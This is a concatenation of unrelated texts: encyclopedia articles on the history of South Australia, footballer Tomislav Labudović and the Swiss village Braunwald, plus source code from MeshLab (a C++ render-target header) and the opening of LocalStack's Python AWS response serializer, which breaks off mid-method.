The South Australia Act 1834 imposed various financial obligations on the colonists that had to be met before the province could be created. In order to meet one of these obligations, pertaining to the sale of land, George Fife Angas created the South Australian Company, along with his banker, Raikes Currie. Both Angas and Currie contributed significantly to the sale of property, with the former contributing £40,000 and the latter (and the Currie family) contributing £9,000 (possibly as much as £50,000).
Official appointments
By 1835, negotiations had been completed for the founding of the new colony of South Australia. Colonel Charles James Napier was first offered the position as Governor, but turned it down because he was not allowed to take a body of troops, and recommended Colonel William Light for the position instead. However, before receiving the recommendation, Lord Glenelg had already appointed Royal Navy Rear-Admiral John Hindmarsh as Governor in January 1836. Light was appointed Surveyor General of South Australia the following month, and various other officials were appointed to other positions: James Hurtle Fisher was Resident Commissioner and Registrar; Robert Gouger, Colonial Secretary; John Jeffcott, Judge; Charles Mann, Advocate-General; Osmond Gilles, Colonial Treasurer; George Strickland Kingston Deputy Surveyor, along with a team of assistant surveyors.
Proclamation of South Australia (1836)
In early 1836, a nine ships accommodating 636 people in total set sail for South Australia. The ships in the fleet were the Cygnet (carrying Light's surveyors), Africaine, , Rapid, (carrying Hindmarsh), John Pirie, Emma, and Duke of York.
After an eight-month voyage around the world, most of the ships took supplies and settlers to Kangaroo Island. They landed at Kingscote to await official decisions on the location and administration of the new colony.
Light was given two months to locate the most advantageous location for the main colony. He was required to find a site with a harbour, arable land, fresh water, ready internal and external communications, building materials and drainage. Light rejected potential locations for the new main settlement, including Kangaroo Island, Port Lincoln and Encounter Bay. Light decided that the Adelaide plains were the best location for settlement.
Most of the settlers were moved from Kangaroo Island to Holdfast Bay with Governor Hindmarsh arriving on 28 December 1836 to proclaim the province of South Australia. The Port River was sighted and deemed to be a suitable harbour, but there was no fresh water available nearby.
The River Torrens was discovered to the south and Light and his team set about determining the city's precise location and layout. The survey was completed on 11 March 1837. Light's poorly paid and ill-equipped surveying team were expected to begin another massive task of surveying at least of rural land. Light, despite slowly succumbing to tuberculosis, managed to survey by June 1838.
Most other colonies had been founded by Governors with near total authority. The South Australia Act 1834 gave control of the new colony to the Colonial Office (i.e. the Crown, represented by the Governor) as well as the Board of Colonisation Commissioners (with an appointed Resident Commissioner), which led to tensions between the two and caused problems later. The survey and sale of land, as well as migration arrangements and funding, were responsibilities of the Resident Commissioner, so that the British Government could not interfere with the business affairs or freedom of religion of the settlers. Relations between Hindmarsh and the Resident Commissioner quickly broke down.
South Australia Act 1842: Crown takes control
Land speculation, economic recession and inept administration combined to cause the Wakefield scheme to fail, and South Australia was spending far more than its revenue. Financial bankruptcy of the colony in 1841 caused London to act. The immediate issue was heavy spending, and the failure of the colonization commissioners to use borrowing powers to secure loans. Gawler was replaced as governor by Captain George Grey. In London the secretary for the colonies assumed responsibility for South Australia.
A British Parliamentary Enquiry recommended a more orthodox form of colonial administration to replace the Colonisation Commissioners.
The South Australia Act 1842 instituted a different form of Government over the Province of South Australia. The Act was introduced as a result of recommendations by a British Parliamentary Enquiry into the failure of the colonial administration, which had brought the province of South Australia near bankruptcy by 1840, and gave the British Government full control of South Australia as a Crown Colony. It provided for the Governor and at least seven other officers to be appointed to form a legislative council for the governance of South Australia. Governor Grey sharply cut spending. The colony soon had full employment, and exports of primary products were increasing. Systematic emigration was resumed at the end of 1844.
Expansion of the colony
Government
Until 1851, the Governor ruled with the assistance of an appointed Executive Council of paid officials. Land development and settlement was the basis of the Wakefield vision. Land law and regulations governing it were fundamental to the foundation of the Province and allowed for land to be bought at a uniform price per acre (regardless of quality), with auctions for land desired by more than one buyer, and leases made available on unused land. Proceeds from land were to fund the Emigration Fund to assist poor settlers to come as tradesmen and labourers.
Agitation for representative government quickly emerged. Most other colonies had been founded by Governors with near total authority, but in South Australia, power was initially divided between the Governor and the Resident Commissioner, so that government could not interfere with the business affairs or freedom of religion of the settlers. From 1843 to 1851, the colony was governed by a legislative council of seven appointed members. By 1851 the colony was experimenting with a partially elected council, with 16 of 24 members of the South Australian Legislative Council being elected that year and the remainder appointed.
General Registry Office (GRO)
"General Law Title" or the "Old System Title" was the English land law adopted at the time of foundation of South Australia as a colony in December 1836. The General Registry Office holds deeds and records of land transactions from 1837 until the implementation of Real Property Act 1858. This law implemented a system which became known as Torrens title, after Sir Robert Richard Torrens, who instigated the bill and ensured its passage through parliament.
After this, all new land transactions were conducted under the new system, using a land title. The role of the GRO included property transactions (mortgages, conveyances, leases, land grants, indentures, wills, probate), as well as deeds for a number of other actions (such as deed poll name changes). The documents called "memorials" represent those original deeds registered and held by the GRO, whereas the certified copies held by the GRO were known as "deposits" or "enrolments".
The General Registry Office and Old Systems land records are (as of July 2019) held at the Land Services Group at Netley, where there are alphabetical indices of records from 1842 to the present, for land that does not fall under the Torrens title. These records include those of early landowners and pioneer settlers.
First agriculture: Sheep, wheat and wine
In 1836 the South Australian Company imported pure merinos from the German region of Saxony, and cows and goats were also shipped over. Sheep and other livestock were brought in from Van Diemen's Land and later New South Wales. The wool industry was the basis of South Australia's economy for the first few years, with the first wool auction was held in Adelaide in 1840. Vast tracts of land were leased by "Squatters" until required for agriculture. Once the land was surveyed it was put up for sale and the Squatters had to buy their runs or move on.
Most bought their land when it came up for sale, disadvantaging farmers who had a hard time finding good and unoccupied land. Farms took longer to establish than sheep runs and were expensive to set up. Despite this by 1860 wheat farms ranged from Encounter Bay in the south to Clare in the north.
The settlers were mostly British, but some German settlers, mainly "Old Lutherans", also emigrated in the early years. The first large group of Germans arrived in 1838, with the financial assistance of the Emigration Fund. Most moved out of Adelaide and to the Barossa Valley and settlements in the Adelaide Hills such as Hahndorf, living in socially closed communities, by 1842, and did not participate in government until 15 years later.
In the Coorong Massacre in 1840, the brigantine Maria was shipwrecked near Cape Jaffa. All 25 survivors were massacred by people of the Milmenrura ("big Murray tribe") when trying to find their way to Adelaide. A punitive expedition authorised by Governor George Gawler and carried out by William Pullen and Major O'Halloran executed two alleged perpetrators. The men killed in retribution were not put to trial and not proven to be those who carried out the massacre.
The wine growing regions of McLaren Vale and the Barossa Valley were established in the 1840s. Port Pirie was founded in 1845.
Copper was discovered near Kapunda in 1842. In 1845 even larger deposits of copper were discovered at Burra which brought wealth to the Adelaide shopkeepers who invested in the mine. John Ridley invented a reaping machine in 1843 which changed farming methods throughout South Australia and the nation at large. By 1843, of land was growing wheat (compared to in 1838). Toward the end of the century South Australia would become known as the "granary of Australia".
Gold discoveries in Victoria in 1851 brought a severe labour shortage in Adelaide which was created by the exodus of workers leaving to seek their fortunes on the goldfields. However, this also created high demand for South Australian wheat. The situation improved when prospectors returned with their gold finds.
During the 1850s over 5,400 hard working Germans settled in South Australia. Many started off the wine industry in the Barossa Valley and they opened the first Lutheran church in Hahndorf.
South Australians were keen to establish trade links with Victoria and New South Wales, but overland transport was too slow. A £4,000 prize was offered in 1850 by the South Australian government for the first two people to navigate the River Murray in an iron steamboat as far as its junction with the Darling River. In 1853 William Randell of Mannum and Francis Cadell of Adelaide, unintentionally making the attempt at the same time, raced each other to Swan Hill with Cadell coming in first.
Limited self-government
By the mid 19th century, there was a strong desire for representative and responsible government in the colonies of Australia. In 1840, the Adelaide City Council was established as the first city council in the Australian colonies. The Australian Colonies Government Act 1850 was a landmark development which granted representative constitutions to New South Wales, Victoria, South Australia and Tasmania and the colonies enthusiastically set about writing constitutions which produced democratically progressive parliaments with the British monarch as the symbolic head of state. In 1850 and elections for legislative councils were held in the colonies of Victoria, South Australia and Tasmania.
In 1855, limited self-government was granted by London to New South Wales, Victoria, South Australia and Tasmania. An innovative secret ballot was introduced in Victoria, Tasmania and South Australia in 1856, in which the government supplied voting paper containing the names of candidates and voters could select in private. This system was adopted around the world, becoming known as the "Australian Ballot". 1855 also saw the granting of the right to vote to all male British subjects 21 years or over in South Australia.
Further copper discoveries were made in 1859 at Wallaroo and in 1861 at Moonta.
South Australia was a haven for religious refugees leaving Europe over this period. German Lutherans established the influential Hermmannsberg Mission in Central Australia in 1870. David Unaipon who was to become a preacher and Australia's first Aboriginal author was born at Point McLeay Mission in South Australia in 1872. The son of Australia's first Aboriginal pastor, he is today honoured on the Australian $50 note.
Saint Mary Mackillop co-founded the Sisters of St Joseph of the Sacred Heart in rural South Australia in 1866. Dedicated to the education of the children of the poor, it was the first religious order to be founded by an Australian. Mackillop established schools, orphanages and welfare institutions throughout the colonies. She became the first Australian to be honoured by canonisation as a saint of the Roman Catholic Church in 2010.
During John McDouall Stuart's 1862 expedition to the north coast of Australia he discovered of grazing territory to the west of Lake Torrens and Lake Eyre. Stuart succeeded in traversing Central Australia from south to north. His expedition mapped out the route which was later followed by the Australian Overland Telegraph Line. South Australia was made responsible for the administration of the Northern Territory, which was previously part of New South Wales.
In 1877, it became the first part of the British Empire to legalise Trade Unions and in 1891, four United Labor Party candidates were elected to Parliament, becoming the first endorsed Labor members in Australia.
In the 1890s, Australia was affected by a severe economic depression. Financial institutions in Melbourne and banks in Sydney closed. The national fertility rate fell and immigration was reduced to a trickle. The value of South Australia's exports nearly halved. Drought and poor harvests from 1884 compounded the problems, with some families leaving for Western Australia. Adelaide was not as badly hit as the larger gold-rush cities of Sydney and Melbourne, and silver and lead discoveries at Broken Hill provided some relief.
Self-governing colony (1856)
South Australia became a self-governing colony in October 1856 with the ratification of a new constitution by the British parliament via the Constitution Act 1856. A bicameral parliament was elected on 9 March 1857, by which time 109,917 people lived in the province.
South Australia's 1856 constitution was among the most democratic in the world – more so than the other Australian colonies, the United Kingdom and most European countries at that time. It provided for: Adult male suffrage (including indigenous men); Secret ballot voting; one man, one vote; no property qualifications for Members of its House of Assembly and a relatively low property qualification for Members of its Legislative Council.
Propertied women in the colony of South Australia were granted the vote in 1861. In the Constitutional Amendment Act 1894, all women became eligible to vote for the Parliament of South Australia when they won the same voting rights as men, and they did so in South Australia's 1895 elections.
The Constitutional Amendment (Adult Suffrage) Act 1894 was also the first legislation in the world permitting women also to stand for election to political office and, in 1897, Catherine Helen Spence became the first female political candidate for political office, unsuccessfully standing for election as a delegate to the Federal Convention on Australian Federation.
By the 1890s, several new factors were drawing the Australian colonies towards political union and South Australians voted by referendum to join the Commonwealth of Australia.
Governance of Aboriginal people
19th century
Protectors of Aborigines had been appointed from as early as 1836 in South Australia (with Matthew Moorhouse as the first gazetted appointment as Chief Protector in 1939), with the Governor proclaiming that Aboriginal people were "to be considered as much under the safeguard of the law as the Colonists themselves, and equally entitled to the Privileges of British Subjects". Under the Aboriginal Orphans Ordinance 1844 the Protector was made legal guardian of "every half-caste and other unprotected Aboriginal child whose parents are dead or unknown". Schools and Aboriginal reserves were set up. Despite these attempts at protection, Moorhouse himself presided over the Rufus River massacre in 1841. The office of Protector was abolished in 1856; within four years, 35 of the 42 Aboriginal reserves had been leased to settlers.
The protection of the Aboriginal people was mostly left to missionaries from 1856 to 1881 (after the office of Protector was abolished, the work being done by Sub-protectors reporting direct to the Commissioner of Crown Lands), when another Protector was appointed.
20th century
In 1912, the Aborigines' Office, which had operated under a succession of different ministers, became the Aborigines' Department, initially a change in name only. In 1918, an Advisory Council of Aborigines was appointed, under powers given by the Aborigines Act 1911, to take control of the existing missions (at Point McLeay, Point Pearce, Killalpaninna and Koonibba). The Aborigines Act Amendment Act 1939 abolished the office of Chief Protector of Aborigines and the Advisory Council, and created the Aborigines Protection Board, of which Charles Duguid was a founding member.
21st century
First proposed during the Marshall government, the Malinauskas government is proceeding with establishing the First Nations Voice to Parliament by the end of 2023.
Twentieth century
In 1900, South Australia responded to the Boxer Rebellion in China by sending the South Australian warship HMAS Protector to join the international coalition defending foreign nationals from the Boxers.
On 1 January 1901, following a proclamation by Queen Victoria, South Australia ceased to be a self-governing colony and became a state of the Commonwealth of Australia. In 1906, South Australia's first uranium mine was opened at Radium Hill. In 1910, the government of John Verran served as the first complete Labor party government in the world.
28,000 South Australians volunteered to fight during Australia's involvement in the First World War. Adelaide enjoyed a post-war boom but with the return of droughts, entered the depression of the 1930s, later returning to prosperity with strong government leadership. Secondary industries helped reduce the state's dependence on primary industries. The 1933 census recorded the state population at 580,949, which was less of an increase than other states due to the state's economic limitations.
After the second world war, the Woomera rocket range was established in 1947 as part of the Anglo-Australian Joint Project – at that time one of only four rocket ranges in the world. Busy through the 1950s, Woomera played an important role in the development of space technologies. With US assistance, Wresat 1, the first Australian satellite, was launched from Woomera, in November 1967 – a joint project of the Weapons Research Establishment and the University of Adelaide. The project made Australia only the 4th country to launch its own satellite from its own territory – and a landmark in Australian science.
Rocket launches largely ceased from the early 1970s, though some space related activity has continued into the 21st century and the base is now controlled by the Royal Australian Airforce. The University of Adelaide has a long history of scientific research and scholarship of international significance, and five Nobel Laureates have been associated with the university: Sir William Henry Bragg (Physics 1915); Sir William Lawrence Bragg (Physics 1915); Sir Howard Walter Florey (Physiology or Medicine 1945); J. M. Coetzee (Literature 2003); Robin Warren (Physiology or Medicine 2005).
After World War II, an assisted migration scheme brought 215,000 emigrants of all nationalities to South Australia between 1947 and 1973. Murray Bridge, earlier known as Mobilong and then Edward's Crossing, was given its current name in the 1920s. It is now the fourth most populous region in South Australia, preceded by Adelaide, Mount Gambier and Whyalla.
The 1960s and 1970s saw the introduction of a series of landmark Australian legislative "firsts" in South Australia, including: the 1966 Prohibition of Discrimination Act, which prohibited discrimination on the grounds of race, colour, or country of origin; and 1975 The Sex Discrimination Act, which made discrimination on the grounds of gender, marital status, or sexuality unlawful. In 1975 Parliament "decriminalised" homosexual acts; and in 1976 rape in marriage was made a criminal offence.
Construction of the Adelaide Festival Centre began in 1970 and South Australia's Sir Robert Helpmann became director of the Adelaide Festival of Arts. The South Australian Film Corporation (SAFC) was established by the Don Dunstan government in 1972 and played a significant role in the revival of Australian cinema, with such critically acclaimed works as Picnic at Hanging Rock and Breaker Morant.
In 1976, the Pitjantjatjara Land Rights Act gave the Pitjantjatjara and Yankunytjatjara Aboriginal peoples inalienable freehold title over 100,000 km of their land. That same year, South Australia appointed the first Aboriginal governor of an Australian state when Sir Douglas Nicholls was made Governor of South Australia.
In 1987, copper, gold, and silver production began at the Olympic Dam mine. Olympic Dam also possesses the world's largest known deposit of uranium.
During the commercial property boom of the 1980s the State Bank of South Australia was the fastest growing bank in Australia – but in 1991, the bank collapsed and Labor Premier John Bannon announced that, due to bad debts, the bank would have to be rescued by the taxpayers – subsequently, the bank's book debt rose to $3 billion. A Royal Commission was called and Premier Bannon resigned after appearing before it.
See also
Aboriginal peoples of South Australia
Australian Overland Telegraph Line
British nuclear tests at Maralinga
Goyder's Line
Historical Records of Australia
List of cities and towns in South Australia
Proclamation Day
South Australia-Victoria border dispute
Stobie pole
Timeline of South Australian history
References
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Tomislav Labudović (born 25 October 1985) is a Croatian football player who plays for FSG Bebra in Germany.
Club career
Labudović started his football career at NK Zagreb in the Croatian First Division.
Between 2004 and 2009, under the guidance of Miroslav Blažević and Mile Petković, he established himself as a young player of great potential and talent, as a leader in the game, who knows how to score a goal and assist, and enrolled in 125 appearances for Croatian First Division with his 23 years.
During 2004–05 season he scored five goals in five games in a row and became a standard player in "Player of the round2.
In summer 2008, NK Zagreb refused an offer from Turkish club MKE Ankaragücü and Israeli club FC Ashdod and offered Labudović a new contract which he refused. The club put him to the bench. In winter 2009, Labudović was loaned out to HNK Šibenik (Croatian First Division) playing 10 matches.
On 31 August 2009, last day of the transfer window, Labudović terminated his contract with NK Zagreb and Croatia Sesvete (Croatian First Division), where he played eight games. He left the club at the end of the year because of the club's financial collapse. He was acquitted for the second time for alleged bribery of two traffic officers after a traffic offence in February 2009.
In 2010, he joined NK Inter Zaprešić where he played at a high level eight matches under the guidance of coach Ilija Lončarević, and he was again standard in "Player of the round".
In 2011, he joined Indonesian outfit Persiba Balikpapanon a one-year contract for season 2011–12. Labudović played 30 matches and scored one goal. In 2013, he moved to NK Pomorac Kostrena, where he played 25 matches and scored 2 goals. Before the season 2014/2015, he signed for HNK Gorica.
International career
During 2001 he was standard player of Croatia national team U-17.
He played three qualifying matches for Euro U-17 with the results:
24 September 2001. Croatia-Albania 5–2;
26 September 2001 Hungary-Croatia 1:1;
28 September 2001 Croatia-Azerbaijan 2:0;
During the 2005–06 season he played qualifying matches for the U-21 Euro for Croatia.
References
External links
Goal for Persiba Balikpapan Season 2011/2012
Tomislav Labudović Promo Video Link on YouTube
Fieldoo Profile
Tomislav Labudović Profile on Croatian football federation site
Tomislav Labudović profile at Nogometni Magazin
Newspapers
Contract with NK Pomorac Kostrena
First place in league 2013
New contract (2011)
Deal Labudović! newspapers about Tomislav Labudović (2011)
Tomislav Labudović transfer to fc Persiba Balikpapan (year 2011)
Tomislav Labudović interview for top Croatian web site index.hr (year 2009)
Tomislav Labudović interview for top Croatian web site index.hr (year 2010)
Tomislav Labudović sign in to FC Slaven Belupo (year 2010)
Tomislav Labudović on loan in FC Šibenik (year 2009)
Tomislav Labudović in FC Zagreb (year 2009)
1985 births
Living people
Footballers from Zagreb
Men's association football central defenders
Croatian men's footballers
Croatia men's youth international footballers
Croatia men's under-21 international footballers
NK Zagreb players
HNK Šibenik players
NK Croatia Sesvete players
NK Inter Zaprešić players
NK Slaven Belupo players
Budapest Honvéd FC players
Persiba Balikpapan players
NK Pomorac 1921 players
HNK Gorica players
Croatian Football League players
Nemzeti Bajnokság I players
Liga 1 (Indonesia) players
First Football League (Croatia) players
Croatian expatriate men's footballers
Expatriate men's footballers in Hungary
Croatian expatriate sportspeople in Hungary
Expatriate men's footballers in Indonesia
Croatian expatriate sportspeople in Indonesia
Expatriate men's footballers in Germany
Croatian expatriate sportspeople in Germany |
```objective-c
/****************************************************************************
* MeshLab o o *
* A versatile mesh processing toolbox o o *
* _ O _ *
* Visual Computing Lab /\/| *
* ISTI - Italian National Research Council | *
* \ *
* All rights reserved. *
* *
* This program is free software; you can redistribute it and/or modify *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* for more details. *
* *
****************************************************************************/
#ifndef RFX_RENDERTARGET_H_
#define RFX_RENDERTARGET_H_
#include <cassert>
#include <QString>
#include <QMap>
#include <QImage>
#include <GL/glew.h>
#include "rfx_state.h"
class RfxRenderTarget
{
public:
RfxRenderTarget(const QString&);
virtual ~RfxRenderTarget();
void SetSize(int w, int h) { width = w; height = h; }
void SetClear(int pass, float depthClear, float *colorClear);
void AddGLState(int p, RfxState *s) { passStates[p].append(s); }
const QString& GetName() { return name; }
GLuint GetTexture() { return colTex; }
QImage GetQImage();
bool Setup(int pass);
void Bind(int pass);
void Unbind();
void UseViewPortDim(bool useVD) { vportdim = useVD; }
void GenMipmaps(bool genMip) { mipmaps = genMip; }
private:
GLuint fbo;
GLuint colTex;
GLuint depTex;
QString name;
int width;
int height;
bool mipmaps;
bool vportdim;
bool initOk;
struct RTOptions {
GLint clearMask;
bool depthClear;
float depthClearVal;
bool colorClear;
float colorClearVal[4];
};
QMap<int, RTOptions> passOptions;
QMap<int, QList<RfxState*> > passStates;
};
#endif /* RFX_RENDERTARGET_H_ */
``` |
Braunwald is a car-free resort village in the municipality of Glarus Süd and canton of Glarus in Switzerland.
History
Braunwald is first mentioned in 1421 as Brunwald. There is evidence of summer occupation between the 12th and 15th centuries and, by 1725, a few families were living there year-round. A school was first held in 1841, and moved into its own building in 1857. The Niederschlacht Inn, built in 1856, became a famous hotel.
The opening of the Braunwald funicular in 1907 was followed by the opening of further hotels, including the Grand Hotel Bellevue (now the Märchenhotel Bellevue), the Alpina Hotel (now the Adrenalin Backpackers Hostel) and the Alpenblick Hotel (which was destroyed by fire in 2009). In the second half of the 20th century, several chair lifts and gondola lifts opened to provide access to the ski slopes above the village.
Until 1939, the village of Braunwald formed part of the municipality of Rüti, but, in that year Braunwald split off to form its own municipality. On 1 January 2011, both municipalities were reunited as part of the new municipality of Glarus Süd.
Geography
Braunwald is situated in the Glarus Alps on a terrace above the Linth valley, at an elevation of . It overlooks the villages of Linthal and Rüti in the valley below. It is overlooked by the mountains of Ortstock (), Höch Turm (), Eggstock () and Bös Fulen ().
Braunwald has an area, as defined by the former municipal boundaries in 2006, of . Of this area, 43.7% is used for agricultural purposes, while 28.5% is forested. Of the rest of the land, 3.2% is settled (buildings or roads) and the remainder (24.6%) is non-productive (rivers, glaciers or mountains).
Transport
Braunwald is a car-free resort village, and access to the village is via the Braunwald funicular from the village of Linthal in the valley below. The funicular links Braunwald with Linthal Braunwaldbahn station, where over 750 parking spaces are available. The station provides a convenient interchange with the main line railway, and is served by the hourly Zürich S-Bahn service S25 from Zurich.
Taxi services for transport within the village are available from Schuler Transporte and Schumi-trans. Gondola lifts and chair lifts link the village to Grotzenbüel, Kleiner Gumen, Seblengrat and Bächital, principally for winter sport activities but in some cases operating in summer as well.
Demographics
Braunwald has a population, as of and as defined by the former municipal boundaries, of . , 13.0% of the population was made up of foreign nationals. Over the last 10 years the population has decreased at a rate of -25.4%. Most of the population () speaks German (93.6%), with Serbo-Croatian being second most common ( 3.2%) and Dutch being third ( 1.2%).
In the 2007 federal election the most popular party was the SPS which received 57.9% of the vote. Most of the rest of the votes went to the SVP with 38.2% of the vote.
The entire Swiss population is generally well educated. In Braunwald about 70.6% of the population (between age 25–64) have completed either non-mandatory upper secondary education or additional higher education (either University or a Fachhochschule).
Braunwald has an unemployment rate of 1.2%. , there were 40 people employed in the primary economic sector and about 15 businesses involved in this sector. 20 people are employed in the secondary sector and there are 7 businesses in this sector. 215 people are employed in the tertiary sector, with 28 businesses in this sector.
The historical population is given in the following table:
Weather
Braunwald has an average of 161.3 days of rain per year and on average receives of precipitation. The wettest month is August during which time Braunwald receives an average of of precipitation. During this month there is precipitation for an average of 15.4 days. The month with the most days of precipitation is July, with an average of 16, but with only of precipitation. The driest month of the year is October with an average of of precipitation over 15.4 days.
Braunwald is the municipality with the highest annual snowfall in Switzerland.
References
External links
Braunwald from Glarus Süd municipal web site (in German)
Braunwald from Braunwald tourist web site
Car-free villages in Switzerland
Former municipalities of the canton of Glarus
Ski areas and resorts in Switzerland
Villages in the canton of Glarus |
```python
"""
Response serializers for the different AWS service protocols.
The module contains classes that take a service's response dict, and
given an operation model, serialize the HTTP response according to the
specified output shape.
It can be seen as the counterpart to the ``parse`` module in ``botocore``
(which parses the result of these serializer). It has a lot of
similarities with the ``serialize`` module in ``botocore``, but
serves a different purpose (serializing responses instead of requests).
The different protocols have many similarities. The class hierarchy is
designed such that the serializers share as much logic as possible.
The class hierarchy looks as follows:
::
ResponseSerializer
BaseXMLResponseSerializer BaseRestResponseSerializer JSONResponseSerializer
QueryResponseSerializer RestXMLResponseSerializer RestJSONResponseSerializer
EC2ResponseSerializer
::
The ``ResponseSerializer`` contains the logic that is used among all the
different protocols (``query``, ``json``, ``rest-json``, ``rest-xml``, and
``ec2``).
The protocols relate to each other in the following ways:
* The ``query`` and the ``rest-xml`` protocols both have XML bodies in their
responses which are serialized quite similarly (with some specifics for each
type).
* The ``json`` and the ``rest-json`` protocols both have JSON bodies in their
responses which are serialized the same way.
* The ``rest-json`` and ``rest-xml`` protocols serialize some metadata in
the HTTP response's header fields
* The ``ec2`` protocol is basically similar to the ``query`` protocol with a
specific error response formatting.
The serializer classes in this module correspond directly to the different
protocols. ``#create_serializer`` shows the explicit mapping between the
classes and the protocols.
The classes are structured as follows:
* The ``ResponseSerializer`` contains all the basic logic for the
serialization which is shared among all different protocols.
* The ``BaseXMLResponseSerializer`` and the ``JSONResponseSerializer``
contain the logic for the XML and the JSON serialization respectively.
* The ``BaseRestResponseSerializer`` contains the logic for the REST
protocol specifics (i.e. specific HTTP header serializations).
* The ``RestXMLResponseSerializer`` and the ``RestJSONResponseSerializer``
inherit the ReST specific logic from the ``BaseRestResponseSerializer``
and the XML / JSON body serialization from their second super class.
The services and their protocols are defined by using AWS's Smithy
(a language to define services in a - somewhat - protocol-agnostic
way). The "peculiarities" in this serializer code usually correspond
to certain so-called "traits" in Smithy.
The result of the serialization methods is the HTTP response which can
be sent back to the calling client.
"""
import abc
import base64
import functools
import json
import logging
import string
from abc import ABC
from binascii import crc32
from datetime import datetime
from email.utils import formatdate
from struct import pack
from typing import Any, Dict, Iterable, Iterator, List, Optional, Tuple, Union
from xml.etree import ElementTree as ETree
import xmltodict
from botocore.model import ListShape, MapShape, OperationModel, ServiceModel, Shape, StructureShape
from botocore.serialize import ISO8601, ISO8601_MICRO
from botocore.utils import calculate_md5, is_json_value_header, parse_to_aware_datetime
# cbor2: explicitly load from private _encoder module to avoid using the (non-patched) C-version
from cbor2._encoder import dumps as cbor2_dumps
from werkzeug import Request as WerkzeugRequest
from werkzeug import Response as WerkzeugResponse
from werkzeug.datastructures import Headers, MIMEAccept
from werkzeug.http import parse_accept_header
from localstack.aws.api import CommonServiceException, ServiceException
from localstack.aws.spec import ProtocolName, load_service
from localstack.constants import (
APPLICATION_AMZ_CBOR_1_1,
APPLICATION_AMZ_JSON_1_0,
APPLICATION_AMZ_JSON_1_1,
APPLICATION_CBOR,
APPLICATION_JSON,
APPLICATION_XML,
TEXT_XML,
)
from localstack.http import Response
from localstack.utils.common import to_bytes, to_str
from localstack.utils.strings import long_uid
from localstack.utils.xml import strip_xmlns
LOG = logging.getLogger(__name__)
REQUEST_ID_CHARACTERS = string.digits + string.ascii_uppercase
class ResponseSerializerError(Exception):
"""
Error which is thrown if the request serialization fails.
Super class of all exceptions raised by the serializer.
"""
pass
class UnknownSerializerError(ResponseSerializerError):
"""
Error which indicates that the exception raised by the serializer could be caused by invalid data or by any other
(unknown) issue. Errors like this should be reported and indicate an issue in the serializer itself.
"""
pass
class ProtocolSerializerError(ResponseSerializerError):
"""
Error which indicates that the given data is not compliant with the service's specification and cannot be
serialized. This usually results in a response to the client with an HTTP 5xx status code (internal server error).
"""
pass
def _handle_exceptions(func):
"""
Decorator which handles the exceptions raised by the serializer. It ensures that all exceptions raised by the public
methods of the parser are instances of ResponseSerializerError.
:param func: to wrap in order to add the exception handling
:return: wrapped function
"""
@functools.wraps(func)
def wrapper(*args, **kwargs):
try:
return func(*args, **kwargs)
except ResponseSerializerError:
raise
except Exception as e:
raise UnknownSerializerError(
"An unknown error occurred when trying to serialize the response."
) from e
return wrapper
class ResponseSerializer(abc.ABC):
"""
The response serializer is responsible for the serialization of a service implementation's result to an actual
HTTP response (which will be sent to the calling client).
It is the base class of all serializers and therefore contains the basic logic which is used among all of them.
"""
DEFAULT_ENCODING = "utf-8"
# The default timestamp format is ISO8601, but this can be overwritten by subclasses.
TIMESTAMP_FORMAT = "iso8601"
# Event streaming binary data type mapping for type "string"
AWS_BINARY_DATA_TYPE_STRING = 7
# Defines the supported mime types of the specific serializer. Sorted by priority (preferred / default first).
# Needs to be specified by subclasses.
SUPPORTED_MIME_TYPES: List[str] = []
@_handle_exceptions
def serialize_to_response(
self,
response: dict,
operation_model: OperationModel,
headers: Optional[Dict | Headers],
request_id: str,
) -> Response:
"""
Takes a response dict and serializes it to an actual HttpResponse.
:param response: to serialize
:param operation_model: specification of the service & operation containing information about the shape of the
service's output / response
:param headers: the headers of the incoming request this response should be serialized for. This is necessary
for features like Content-Negotiation (define response content type based on request headers).
:param request_id: autogenerated AWS request ID identifying the original request
:return: Response which can be sent to the calling client
:raises: ResponseSerializerError (either a ProtocolSerializerError or an UnknownSerializerError)
"""
# determine the preferred mime type (based on the serializer's supported mime types and the Accept header)
mime_type = self._get_mime_type(headers)
# if the operation has a streaming output, handle the serialization differently
if operation_model.has_event_stream_output:
return self._serialize_event_stream(response, operation_model, mime_type, request_id)
serialized_response = self._create_default_response(operation_model, mime_type)
shape = operation_model.output_shape
# The shape can also be none (for empty responses), but it still needs to be serialized (to add some metadata)
shape_members = shape.members if shape is not None else None
self._serialize_response(
response,
serialized_response,
shape,
shape_members,
operation_model,
mime_type,
request_id,
)
serialized_response = self._prepare_additional_traits_in_response(
serialized_response, operation_model, request_id
)
return serialized_response
@_handle_exceptions
def serialize_error_to_response(
self,
error: ServiceException,
operation_model: OperationModel,
headers: Optional[Dict | Headers],
request_id: str,
) -> Response:
"""
Takes an error instance and serializes it to an actual HttpResponse.
Therefore, this method is used for errors which should be serialized and transmitted to the calling client.
:param error: to serialize
:param operation_model: specification of the service & operation containing information about the shape of the
service's output / response
:param headers: the headers of the incoming request this response should be serialized for. This is necessary
for features like Content-Negotiation (define response content type based on request headers).
:param request_id: autogenerated AWS request ID identifying the original request
:return: HttpResponse which can be sent to the calling client
:raises: ResponseSerializerError (either a ProtocolSerializerError or an UnknownSerializerError)
"""
# determine the preferred mime type (based on the serializer's supported mime types and the Accept header)
mime_type = self._get_mime_type(headers)
# TODO implement streaming error serialization
serialized_response = self._create_default_response(operation_model, mime_type)
if not error or not isinstance(error, ServiceException):
raise ProtocolSerializerError(
f"Error to serialize ({error.__class__.__name__ if error else None}) is not a ServiceException."
)
shape = operation_model.service_model.shape_for_error_code(error.code)
serialized_response.status_code = error.status_code
self._serialize_error(
error, serialized_response, shape, operation_model, mime_type, request_id
)
serialized_response = self._prepare_additional_traits_in_response(
serialized_response, operation_model, request_id
)
return serialized_response
def _serialize_response(
self,
parameters: dict,
response: Response,
shape: Optional[Shape],
shape_members: dict,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
raise NotImplementedError
def _serialize_body_params(
self,
params: dict,
shape: Shape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> Optional[str]:
"""
Actually serializes the given params for the given shape to a string for the transmission in the body of the
response.
:param params: to serialize
:param shape: to know how to serialize the params
:param operation_model: for additional metadata
:param mime_type: Mime type which should be used to encode the payload
:param request_id: autogenerated AWS request ID identifying the original request
:return: string containing the serialized body
"""
raise NotImplementedError
def _serialize_error(
self,
error: ServiceException,
response: Response,
shape: StructureShape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
